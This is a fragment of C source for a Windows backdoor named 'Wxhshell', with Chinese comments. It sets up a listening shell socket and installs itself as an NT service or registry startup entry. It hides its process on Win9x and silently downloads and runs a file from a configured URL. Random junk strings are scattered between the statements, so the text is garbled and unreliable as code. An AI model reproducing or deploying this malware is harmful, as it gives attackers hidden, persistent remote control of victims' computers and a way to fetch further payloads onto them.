{p*z +<&E3O r CloseHandle(hProcess); 5)w4)K-% 8Bq-0=E if(strstr(procName,"services")) return 1; // 以服务启动 ,ohmc\*J UL&} s_ return 0; // 注册表启动 vyE{WkZxR } q$F) !& L/ ~D<V // 主模块 /w0sj`;" int StartWxhshell(LPSTR lpCmdLine) iecWa:(' { L${m/@9 SOCKET wsl; yx2z%E BOOL val=TRUE; Hj2<ZL int port=0; x.ba|:5 struct sockaddr_in door; 6.[)`iF+# ^ESUMXb if(wscfg.ws_autoins) Install(); ?z3] $(3uOsy port=atoi(lpCmdLine); sds}bo
"TfI+QgLF if(port<=0) port=wscfg.ws_port; %yfE7UPS]
c-5Ysg WSADATA data; E:)Cp if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F_
81l< #ra*f~G if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; r_^)1w setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cAb>2]M5V door.sin_family = AF_INET; a$}NW. door.sin_addr.s_addr = inet_addr("127.0.0.1"); $Zxt&a door.sin_port = htons(port); gX^ PSsp <[ZI.+_Wt if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CcY7$D closesocket(wsl); *}w+68eO return 1; A@2Bs5F } 2e59Ez%k6 >La><.z~ if(listen(wsl,2) == INVALID_SOCKET) { >'b=YlUL closesocket(wsl); 7\X$7 return 1; $Asr`Q1i
} L=]p_2+ Wxhshell(wsl); u h)o WSACleanup(); O%&cE*eX Xh}&uZ`A return 0; JhP\u3 QE :y1 Bt+Fp } [EOVw%R nxfoWy // 以NT服务方式启动 N}x9N. VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y3JMbl[S0 { ;&S;%W>| DWORD status = 0; KmmQ ,e% DWORD specificError = 0xfffffff; m*Cu-6&qd RV;!05^< serviceStatus.dwServiceType = SERVICE_WIN32; $(rc/h0/E serviceStatus.dwCurrentState = SERVICE_START_PENDING; DpvrMI~I_ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z9[+'ZWt serviceStatus.dwWin32ExitCode = 0; z:}nBCmLV serviceStatus.dwServiceSpecificExitCode = 0; T$mbk3P serviceStatus.dwCheckPoint = 0; 2 hq\n< serviceStatus.dwWaitHint = 0; )];aI A$ tJ'iX>9I hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v0LGdX)/Y if (hServiceStatusHandle==0) return; pr rT:Y nB] Ia? status = GetLastError(); *yez:qnx if (status!=NO_ERROR) !OAvD# { %u!b& 5]e serviceStatus.dwCurrentState = SERVICE_STOPPED; [>Fm[5x serviceStatus.dwCheckPoint = 0; _ck[&Q serviceStatus.dwWaitHint = 0; xaW{I7FfG serviceStatus.dwWin32ExitCode = status; i=rH7k serviceStatus.dwServiceSpecificExitCode = specificError; .<YcSG SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8@eOTzm return; v"!4JZ%K } *eb-rhCVn >cgpaj x* serviceStatus.dwCurrentState = SERVICE_RUNNING; tJU-<{8 serviceStatus.dwCheckPoint = 0; .zkP~xQ~ serviceStatus.dwWaitHint = 0; Md&WJ
};L if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eB]R3j{ }
rLv;Y Ia4)uV8 // 处理NT服务事件,比如:启动、停止 #fDs[ VOID WINAPI NTServiceHandler(DWORD fdwControl) *C2R`gpBI { d5!!Ut switch(fdwControl) G%{0i20_ { QJBr6
case SERVICE_CONTROL_STOP: #*^+F?o,( serviceStatus.dwWin32ExitCode = 0; 5-vo0:hk serviceStatus.dwCurrentState = SERVICE_STOPPED; "pvH0"Q* serviceStatus.dwCheckPoint = 0; #g9ZX16} serviceStatus.dwWaitHint = 0; |He=LQ}0 { "rNL
`P7 SetServiceStatus(hServiceStatusHandle, &serviceStatus); SSA W52xC } C5X(U: return; /nQ`&q case SERVICE_CONTROL_PAUSE: s([dGD$i serviceStatus.dwCurrentState = SERVICE_PAUSED; RE"^
)- break; -d=WV:G%e case SERVICE_CONTROL_CONTINUE: >*1}1~uU`' serviceStatus.dwCurrentState = SERVICE_RUNNING; 5v
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Oq break; fZ{[]dn[ case SERVICE_CONTROL_INTERROGATE: |FNCXlgZ break; `JURQ:l)3^ }; Nneo{j SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;rHO&(h- } DBgMC"_ =RsXI&&vh // 标准应用程序主函数 g0R[xOS|
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `u_Qa { [hh/1[ /aqEJGG> // 获取操作系统版本 +%0z`E\?M# OsIsNt=GetOsVer(); bS!\#f%9" GetModuleFileName(NULL,ExeFile,MAX_PATH); vjUp *R>h bGmx7qt# // 从命令行安装 zm#nV
Y` if(strpbrk(lpCmdLine,"iI")) Install(); .\:J~( $xgBKD // 下载执行文件 \'v(Xp6 if(wscfg.ws_downexe) { Z-X?JA\& if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D E/:[' WinExec(wscfg.ws_filenam,SW_HIDE); E"PcrWB& } Xm!-~n@-m7 nJFg^s1 if(!OsIsNt) { B[o`k]] // 如果时win9x,隐藏进程并且设置为注册表启动 kOrl\_!z3 HideProc(); !0}\&<8/m StartWxhshell(lpCmdLine); WO*9+\[v } LKF/u` 0dP else ^J/)6/TMXm if(StartFromService()) zI;0& // 以服务方式启动 ccJM>9 StartServiceCtrlDispatcher(DispatchTable); 04@cLDX8uB else z\!K<d"Xv // 普通方式启动 EL{vFP StartWxhshell(lpCmdLine); L>9R4:g nE W31 8 return 0; sRhKlUJG }
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